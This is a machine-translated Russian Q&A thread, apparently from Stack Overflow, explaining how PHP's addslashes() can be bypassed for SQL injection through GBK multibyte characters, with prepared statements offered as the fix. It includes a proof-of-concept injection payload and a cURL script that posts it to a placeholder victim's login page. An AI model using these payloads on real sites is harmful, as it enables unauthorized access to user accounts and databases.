Примеры SQL-инъекций через addslashes ()?

в PHP, я знаю, что mysql_real_escape гораздо безопаснее, чем с помощью addslashes. Однако я не смог найти пример ситуации, когда addslashes позволит SQL-инъекции произойти.

может ли кто-нибудь привести несколько примеров?

4 ответов


Ну вот статья, которую вы хотите.

В основном, как работает атака, получая addslashes() поместить обратную косую черту в середину многобайтового символа, чтобы обратная косая черта потеряла свой смысл, будучи частью допустимой многобайтовой последовательности.

общее предостережение из статьи:

этот тип атаки возможен с любой кодировкой символов, где существует допустимый многобайтовый символ, который заканчивается на 0x5c, потому что addslashes() можно обманом создать допустимый многобайтовый символ вместо того, чтобы избежать единственной цитаты, которая следует за этим. UTF-8 не подходит это описание.


Крис Шифлетт ясно объясняет с приведенным ниже примером, что, конечно, будет работать, если вы попробуете его при использовании кодировки GBK в вашей базе данных. Даже я пробовал, это доказывает, что есть шансы на SQL-инъекцию, хотя их очень мало, но кто-то с хорошими знаниями и возможностями может легко ввести. Вот пример...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

хотя использование addslashes () или magic_quotes_gpc обычно считается несколько безопасным, использование GBK это сделало бы их почти бесполезными. Следующий скрипт php cURL сможет использовать инъекцию, я надеюсь, что это поможет вам немного больше понять:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>

в качестве дополнения для читателей ответов здесь: эта ошибка MySQL уже исправлена:)

кроме того, всегда рекомендуется использовать подготовленные заявления. Это самый свободный от эксплойтов способ запуска запросов (и, в некоторых случаях, самый эффективный). И это спасло бы тебя от этого недостатка.


mysql_real_escape_string () против подготовленных операторов четко объясняет mysql_real_escape_string () не является 100% безопасным.

используя mysql_set_charset ('GBK') заменить mysql_query ("установить набор символов "GBK""), mysql_real_escape_string () может быть 100% безопасным.